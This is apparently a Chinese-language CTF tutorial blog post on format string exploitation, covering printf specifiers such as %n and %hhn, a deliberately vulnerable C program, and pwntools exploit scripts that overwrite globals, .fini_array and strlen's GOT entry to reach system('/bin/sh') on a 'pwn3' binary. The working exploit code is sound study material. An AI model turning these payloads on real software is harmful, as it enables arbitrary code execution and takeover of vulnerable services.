Pwn——格式化字符串利用

FmtStr格式化字符串利用

格式化字符串初识

格式化字符串

函数:
int printf(const char *format, [argument]);
printf()函数的调用格式为: printf(“<格式化字符串>”, <参量表>)。

基本的格式化字符串参数
%c:输出字符,配上%n可用于向指定地址写数据。
%d:输出十进制整数,配上%n可用于向指定地址写数据。
%x:输出16进制数据,如%i$x表示要泄漏偏移i处4字节长的16进制数据,%i$lx表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。
%p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。
%s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串,在32bit和64bit环境下一样,可用于读取GOT表等信息。
%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100x10$n (%100d10$n)表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整。
%n是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符串参数可用于读取信息或配合%n写数据。

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
int a = 123, b = 456;
int main()
{
int c = 789;
char s[100];
printf("%p\n", &c);
scanf("%s", s);
printf(s); //格式化,利用参数传递,打印出我们需要的地址
if (c == 16)
{
puts("modified c.");
}else if (a == 2)
{
puts("modified a for a small number.");
} else if (b == 0x12345678)
{
puts("modified b for a big number!");
}
return 0;
}

生成文件
gcc -m32 -no-pie -fno-stack-protector -z execstack -o fmt fmt.c

分析

ida调试,因为a,b都是全局变量,找到a,b的地址

gdb调试

确定输入的是第6个参数

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
def ha():
    p = process('./fmt')
    c_addr = int(p.recvuntil('\n'),16)
a_addr = 0x804A024
b_addr = 0x804A028
print hex(c_addr)
    raw_input()
    payloadc = p32(c_addr)+'%12x'+'%6$n'
    payloada = 'aa'+'%8$n'+'aa'+p32(a_addr)
    payloadb= p32(b_addr)+p32(b_addr+1)+p32(b_addr+2)+p32(b_addr+3)+'%104x'+'%6$hhn'+'%222x'+'%7$hhn'+'%222x'+'%8$hhn'+'%222x'+'%9$hhn'
    p.sendline(payloadb)
    print p.recv()
    p.interactive()
ha()

这个exp解释一下:%12x表示填充12个字节。特别payloada的时候,%8$n是字符输入的,所以占4个字节,所以地址是在第8个参数,但是输出不会打印出来,所以下面的构造payloadb时候,%x$n不算在字节。

格式化的利用

程序

链接:http://pan.baidu.com/s/1mil6uTE 密码:7ff0

1
2
3
4
5
6
[*] '/root/ctf/pwn_learning/zjgsu/pwn3/pwn3'
Arch: i386-32-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

有canary保护,感觉现在还不会

分析程序

我们去尝试运行,摸清了基本上的程序的功能。

1
2
3
4
5
root@kali:pwn3# ./pwn3
Hello, I'm nao!
Please tell me your name... asd
Nice to meet you, asd :)
root@kali:pwn3#

用ida打开看看,发现有system函数,很开心.发现main函数有格式化漏洞

1
2
3
4
5
6
printf("Please tell me your name... ");
if ( getnline((char *)&v6, 64) )
{
sprintf((char *)&v5, "Nice to meet you, %s :)\n", &v6);
result = printf((const char *)&v5);
}

printf(&v5)这里是格式化漏洞,继续看发现getnline函数

1
2
3
4
5
6
7
8
9
10
size_t __cdecl getnline(char *s, int n)
{
char *v3; // [sp+1Ch] [bp-Ch]@1
fgets(s, n, stdin);
v3 = strchr(s, 10);
if ( v3 )
*v3 = 0;
return strlen(s);
}

strlen(s)这里是计算输入进来字符的长度,只有一个参数,这里是不是很熟悉啊,没错。我们的system函数 也只有一个参数system(s),那么我们可以把将system的plt覆盖到strlen的got,再将参数’/bin/sh’传入,这里我们需要做两件事情
1、将strlen_got=system_plt
2、回到mian函数,将’/bin/sh’输入,这时就能到达system(‘/bin/sh’)

写exp

这里的问题是,格式化执行一次后程序就会退出了,这里了解一下elf程序运行机制,当程序执行main函数前会执行一些准备开始的程序,比如:。初始化节 .init_array 和 .init
结束时也会运行一些结束的程序,比如:动态库还可提供终止节。终止节 .fini_array
这就意味着我们可以利用终止节回到mian再次执行。
查看终止节
objdump -s pwn3 |grep fini

1
2
3
root@kali:pwn3# objdump -s pwn3 |grep fini
Contents of section .fini:
Contents of section .fini_array:

发现存在终止节
接着利用pwn3直接得到

1
2
3
4
systemPlt = elf.plt['system']
strlenGot = elf.got['strlen']
mainSymbol = elf.symbols['main']
finiSymbol = elf.symbols['__do_global_dtors_aux_fini_array_entry']

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
elf = ELF('./pwn3')
systemPlt = elf.plt['system']
strlenGot = elf.got['strlen']
mainSymbol = elf.symbols['main']
finiSymbol = elf.symbols['__do_global_dtors_aux_fini_array_entry']
p = process('./pwn3')
#p = remote('127.0.0.1',4004)
offset =12
writes = {finiSymbol:mainSymbol,strlenGot:systemPlt}
padding = 'aa'
payload1 = padding + fmtstr_payload(offset = offset,writes = writes,numbwritten = 20,write_size='int')
print "payload:len = %d :%s"%(len(payload1),payload1)
p.recv()
#gdb.attach(p)
p.sendline(payload1)
sleep(2)
p.recvline()
payload2 = '/bin/sh'
p.sendline(payload2)
p.interactive()

offset=12为什么是12,这是我手动的,当然pwntools提供了找偏移的个数的函数Fmtstr,

1
2
3
4
5
6
7
8
9
10
11
12
13
root@kali:pwn3# ./pwn3
Hello, I'm nao!
Please tell me your name... AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p
Nice to meet you, AAAA0x80487d00xff8e5e2c(nil)(nil)(nil)(nil)0x6563694e0x206f74200x7465656d0x756f79200x4141202c0x702541410x70257025 :)
root@kali:pwn3# ./pwn3
Hello, I'm nao!
Please tell me your name... AABBBB%p%p%p%p%p%p%p%p%p%p%p%p%p
Nice to meet you, AABBBB0x80487d00xfff70c5c(nil)(nil)(nil)(nil)0x6563694e0x206f74200x7465656d0x756f79200x4141202c0x424242420x70257025 :)
root@kali:pwn3# ./pwn3
Hello, I'm nao!
Please tell me your name... AABBBB%12$p
Nice to meet you, AABBBB0x42424242 :)
root@kali:pwn3#

FmtStr和fmtstr_payload函数参考:
https://esebanana.github.io/2017/10/09/pwn6/#more

修改exp:

上面的那个exp本地运行成功,但如果连上网的话,由于fmtstr_payload函数是产生大量的数据写入,如要写入的地址时0x8040506,那么就会生成0x8040506的无用字符传过去,在本地也需要运行一会儿,在上网根本不行,这里得用字节写入,这里可以参考:
https://esebanana.github.io/2017/09/19/pwn3/#more
中的修改b,贴上修改后的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
elf = ELF('./pwn3')
systemPlt = elf.plt['system']
strlenGot = elf.got['strlen']
mainSymbol = elf.symbols['main']
finiSymbol = elf.symbols['__do_global_dtors_aux_fini_array_entry']
log.info("system:%x\nstrlen:%x\nmain:%x\nfini:%x\n"%(systemPlt,strlenGot,mainSymbol,finiSymbol))
p = process('./pwn3')
offset =12
mainSymbol = 0x080485ed
finiSymbol = 0x08049934
systemPlt = 0x08048490
strlenGot = 0x8049a54
payload = 'aa'+p32(0x08049936)+p32(0x08049a56)+p32(0x08049a54)+p32(0x08049934)
first = 0x804 - 0x1c - 0x8 #print 0x804 bytes before 0x8049936
second = 0x8490 - 0x0804
third = 0x85ed - 0x8490
payload += '%' + str(first) + 'x%12$hn'
payload += '%13$hn'
payload += '%' + str(second) + 'x%14$hn'
payload += '%' + str(third) + 'x%15$hn'
payload += ""
print p.recvuntil('... ')
p.sendline(payload)
print p.recvuntil('... ')
payload2 = '/bin/sh'
p.sendline(payload2)
p.interactive()

这个exp是两字节写入

FmtStr函数的利用

FmtStr函数

FmtStr函数可以获取偏移参数的个数offset
例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include<stdio.h>
int main(int argc, char * argv[])
{
char a[1024];
while(1)
{
memset(a, '\0', 1024);
read(0, a, 1024);
printf(a);
fflush(stdout);
}
return 0;
}

FmtStr函数利用

1
2
3
4
5
6
7
8
9
from pwn import *
def exec_fmt(payload):
p = process('./1')
p.sendline(payload)
return p.recv()
autofmt = FmtStr(exec_fmt)
print autofmt.offset

结果:

1
2
3
4
5
6
7
8
9
10
11
root@kali:pwn3# python 1.py
[+] Starting local process './1': pid 4859
[+] Starting local process './1': pid 4861
[+] Starting local process './1': pid 4863
[+] Starting local process './1': pid 4865
[*] Found format string offset: 4
4
[*] Stopped process './1' (pid 4865)
[*] Stopped process './1' (pid 4863)
[*] Stopped process './1' (pid 4861)
[*] Stopped process './1' (pid 4859)

fmtstr_payload函数

fmtstr_payload是pwntools提供的函数,用于自动生成格式化字符串。
fmtstr_payload有两个参数
第一个参数是int,用于表示取参数的偏移个数offset=7
第二个参数是字典,字典的意义是往key的地址,写入value的值
fmtstr_payload(7, {printf_got: system_add})
这个函数调用会往printf_got中写入system_add

文学修养

我本楚狂人,凤歌笑孔丘
奈何许!天下人何限?慊慊只为汝!

Donate
-------------本文结束感谢您的阅读-------------